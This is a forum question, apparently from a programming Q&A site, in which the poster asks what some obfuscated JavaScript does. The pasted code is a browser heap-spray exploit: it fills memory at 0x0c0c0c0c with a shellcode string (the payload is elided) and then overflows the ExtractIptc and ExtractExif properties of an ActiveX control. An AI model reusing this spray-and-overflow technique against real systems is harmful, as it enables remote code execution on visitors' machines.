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POI don't understand this Code
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  1. POI don't understand this Code
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    copied!<p>I do not understand this code snippet :</p> <pre><code>function ms(){ var plc=unescape('". unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); if (mf)return(0); mf=1; var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; for(i=0;i&lt;hb;i++) m[i]=ss+plc; hav(); return(1); } </code></pre> <p>In the above function I can't seem to figure out the variable types, or figure out what it's doing with the <code>hsta</code> variable, and what it's assigning to it:</p> <pre><code>var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; for(i=0;i&lt;hb;i++)m[i]=ss+plc; </code></pre> <p>I also can't figure out this function :</p> <pre><code>function fb(){ try { var obj=null; obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); if(obj){ ms(); var buf = addr(0x0c0c0c0c); while (buf.length &lt; 400) buf += buf; buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; } } catch(e){} return 0; } </code></pre> <p>What does the following code mean? </p> <blockquote> <p><code>cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')</code></p> </blockquote> <p>What kind of variable is this? </p> <pre><code>var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; </code></pre> <p>Most importantly, what is that code snippet trying to do?</p> <p>Here are some more functions:</p> <pre><code>function hex(num,width){ var digits='0123456789ABCDEF'; var hex=digits.substr(num&amp;0xF,1); while(num&gt;0xF){ num=num&gt;&gt;&gt;4; hex=digits.substr(num&amp;0xF,1)+hex; } var width=(width?width:0); while(hex.length&lt;width)hex='0'+hex; return hex; } function addr(addr){ return unescape('%u'+hex(addr&amp;0xFFFF,4)+'%u'+hex((addr&gt;&gt;16)&amp;0xFFFF,4)); } </code></pre> <p>Any guidance would be appreciated.</p>
 

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